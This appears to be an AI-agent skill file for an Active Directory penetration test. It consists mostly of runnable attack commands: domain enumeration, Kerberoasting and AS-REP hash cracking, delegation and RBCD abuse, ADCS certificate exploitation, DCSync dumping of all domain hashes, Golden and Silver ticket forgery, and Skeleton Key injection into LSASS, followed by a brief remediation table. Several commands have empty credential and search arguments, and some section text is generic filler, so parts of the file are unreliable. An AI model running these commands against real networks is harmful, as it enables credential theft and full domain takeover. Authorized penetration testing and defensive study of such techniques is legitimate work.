performing-active-directory-penetration-test

Conduct a focused Active Directory penetration test to enumerate domain objects, discover attack paths with BloodHound, exploit Kerberos weaknesses, escalate privileges via ADCS/DCSync, and demonstrate domain compromise. Use when conducting a focused active directory penetration test to enumerate domain.

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name	performing-active-directory-penetration-test
description	Conduct a focused Active Directory penetration test to enumerate domain objects, discover attack paths with BloodHound, exploit Kerberos weaknesses, escalate privileges via ADCS/DCSync, and demonstrate domain compromise. Use when conducting a focused active directory penetration test to enumerate domain.
domain	cybersecurity
subdomain	penetration-testing
tags	["active-directory","BloodHound","Kerberoasting","Impacket","DCSync","ADCS","domain-compromise","privilege-escalation"]
version	1.0
author	oyi77
license	Apache-2.0
nist_csf	["ID.RA-01","ID.RA-06","GV.OV-02","DE.AE-07"]

Performing Active Directory Penetration Test

Overview

Active Directory (AD) penetration testing targets the central identity and access management system used by over 95% of Fortune 500 companies. The test identifies misconfigurations, weak credentials, dangerous delegation settings, vulnerable certificate templates, and attack paths that enable an attacker to escalate from a standard domain user to Domain Admin or Enterprise Admin.

When to Use

Trigger phrases:

"performing active directory penetration test"
"Conduct a focused Active Directory penetration test to enumerate domain objects,"
When conducting security assessments that involve performing active directory penetration test
When following incident response procedures for related security events
When performing scheduled security testing or auditing activities
When validating security controls through hands-on testing

Prerequisites

Standard domain user credentials (minimum starting point)
Network access to domain controllers (LDAP/389, Kerberos/88, SMB/445, DNS/53)
Tools: BloodHound, Impacket, Certipy, Rubeus, NetExec, Mimikatz
Kali Linux or Windows attack machine with domain access

Phase 1 — AD Enumeration

This section covers phase 1 — ad enumeration for performing active directory penetration test.

Ensure all prerequisites are met before proceeding
Follow the documented workflow steps in sequence
Record results and any anomalies encountered during this phase

Domain Information Gathering

# Basic domain enumeration
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --groups
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --users

# LDAP enumeration — domain controllers
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
  -b "OU=Domain Controllers,DC=corp,DC=local" "(objectClass=computer)" dNSHostName

# Enumerate trust relationships
netexec smb 10.0.0.5 -u  -p  --trusts


netexec smb 10.0.0.5 -u  -p  --pass-pol


netexec smb 10.0.0.5 -u  -p  --gpp-passwords


ldapsearch -x -H ldap://10.0.0.5 -D  -w  \
  -b   \
  dNSHostName


ldapsearch -x -H ldap://10.0.0.5 -D  -w  \
  -b   \
  sAMAccountName msds-allowedtodelegateto


netexec ldap 10.0.0.5 -u  -p  -d corp.local -M laps

# Collect all BloodHound data
bloodhound-python -u 'testuser' -p 'Password123' -d corp.local \
  -ns 10.0.0.5 -c all --zip

# Alternative: SharpHound from Windows
.\SharpHound.exe -c All --zipfilename bloodhound_data.zip

# Start BloodHound
sudo neo4j start
bloodhound --no-sandbox

# Key Cypher queries in BloodHound:
# - Shortest path to Domain Admin
# - Find Kerberoastable users
# - Find AS-REP Roastable users
# - Find users with DCSync rights
# - Find shortest path from owned principals
# - Find computers where Domain Users are local admin

# Find service accounts with SPNs (Kerberoastable)
impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5

# Find accounts without Kerberos pre-authentication
impacket-GetNPUsers 'corp.local/' -usersfile domain_users.txt \
  -dc-ip 10.0.0.5 -format hashcat

# Find managed service accounts
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
  -b "DC=corp,DC=local" "(objectClass=msDS-GroupManagedServiceAccount)" \
  sAMAccountName msDS-GroupMSAMembership

# Extract TGS tickets for service accounts
impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5 \
  -outputfile kerberoast.txt -request

# Crack with Hashcat (mode 13100 for Kerberos 5 TGS-REP etype 23)
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule --force

# Targeted Kerberoasting with Rubeus (Windows)
.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_tgs.txt

# Target accounts without pre-authentication
impacket-GetNPUsers 'corp.local/' -usersfile users.txt -dc-ip 10.0.0.5 \
  -outputfile asrep.txt -format hashcat

# Crack AS-REP hashes (mode 18200)
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

# Unconstrained delegation — extract TGTs from memory
# If you compromise a host with unconstrained delegation:
.\Rubeus.exe monitor /interval:5 /nowrap
# Force authentication from DC using PrinterBug/SpoolSample
.\SpoolSample.exe DC01.corp.local YOURHOST.corp.local
.\Rubeus.exe ptt /ticket:<base64_ticket>

# Constrained delegation — S4U abuse
impacket-getST 'corp.local/svc_web:WebPass123' -spn 'CIFS/fileserver.corp.local' \
  -dc-ip 10.0.0.5 -impersonate administrator
export KRB5CCNAME=administrator.ccache
impacket-psexec 'corp.local/administrator@fileserver.corp.local' -k -no-pass

# Resource-Based Constrained Delegation (RBCD)
impacket-addcomputer 'corp.local/testuser:Password123' -computer-name 'EVIL$' \
  -computer-pass 'EvilPass123' -dc-ip 10.0.0.5
python3 rbcd.py -delegate-to 'TARGET$' -delegate-from 'EVIL$' \
  -dc-ip 10.0.0.5 'corp.local/testuser:Password123'
impacket-getST 'corp.local/EVIL$:EvilPass123' -spn 'CIFS/target.corp.local' \
  -impersonate administrator -dc-ip 10.0.0.5

# Enumerate ADCS with Certipy
certipy find -u 'testuser@corp.local' -p 'Password123' -dc-ip 10.0.0.5 \
  -vulnerable -stdout

# ESC1 — Vulnerable certificate template (enrollee can specify SAN)
certipy req -u 'testuser@corp.local' -p 'Password123' \
  -target ca.corp.local -ca CORP-CA \
  -template VulnerableWebServer -upn administrator@corp.local

# Authenticate with the certificate
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.5

# ESC4 — Template ACL misconfiguration
# Modify template to enable ESC1 conditions, then exploit as above

# ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 flag on CA
certipy req -u 'testuser@corp.local' -p 'Password123' \
  -target ca.corp.local -ca CORP-CA \
  -template User -upn administrator@corp.local

# ESC8 — NTLM relay to HTTP enrollment endpoint
certipy relay -target 'http://ca.corp.local/certsrv/certfnsh.asp' \
  -template DomainController

# DCSync — extract all domain hashes (requires replication rights)
impacket-secretsdump 'corp.local/domainadmin:DAPass@10.0.0.5' -just-dc

# DCSync specific user
impacket-secretsdump 'corp.local/domainadmin:DAPass@10.0.0.5' \
  -just-dc-user krbtgt

# With Mimikatz (Windows)
mimikatz# lsadump::dcsync /domain:corp.local /user:krbtgt

# Create Golden Ticket (requires krbtgt hash and domain SID)
impacket-ticketer -nthash <krbtgt_nthash> -domain-sid S-1-5-21-... \
  -domain corp.local administrator
export KRB5CCNAME=administrator.ccache
impacket-psexec 'corp.local/administrator@dc01.corp.local' -k -no-pass

# With Mimikatz
mimikatz# kerberos::golden /user:administrator /domain:corp.local \
  /sid:S-1-5-21-... /krbtgt:<hash> /ptt

# Create Silver Ticket for specific service
impacket-ticketer -nthash <service_nthash> -domain-sid S-1-5-21-... \
  -domain corp.local -spn MSSQL/sqlserver.corp.local administrator

export KRB5CCNAME=administrator.ccache
impacket-mssqlclient 'corp.local/administrator@sqlserver.corp.local' -k -no-pass

# Skeleton Key (inject into LSASS — authorized testing only)
mimikatz# privilege::debug
mimikatz# misc::skeleton
# Now any user can authenticate with "mimikatz" as password

# AdminSDHolder persistence
# Add controlled user to AdminSDHolder ACL
# SDProp process propagates ACL to all protected groups every 60 minutes

# SID History injection
# Inject Domain Admin SID into low-privilege user's SID history

# Document all persistence mechanisms and clean up after testing

Finding	CVSS	Remediation
Kerberoastable accounts with weak passwords	7.5	Use gMSA, enforce 25+ char passwords for service accounts
Unconstrained delegation on servers	8.1	Remove unconstrained delegation, use constrained or RBCD
Vulnerable ADCS templates (ESC1-ESC8)	9.8	Audit templates, remove dangerous permissions, require approval
DCSync permissions on non-DA accounts	9.8	Audit replication rights, implement tiered admin model
LLMNR/NBT-NS enabled	8.1	Disable via GPO
No LAPS deployed	7.2	Deploy Windows LAPS for local admin management
Weak domain password policy	6.5	Enforce 14+ chars, implement fine-grained password policies

Rationalization	Reality
"We are too small to be targeted"	Automated attacks target everyone. Size does not matter.
"Security slows us down"	A breach slows you down 100x more. Build security in from the start.
"We will fix it after launch"	Vulnerabilities in production are exploited within hours. Fix before deploy.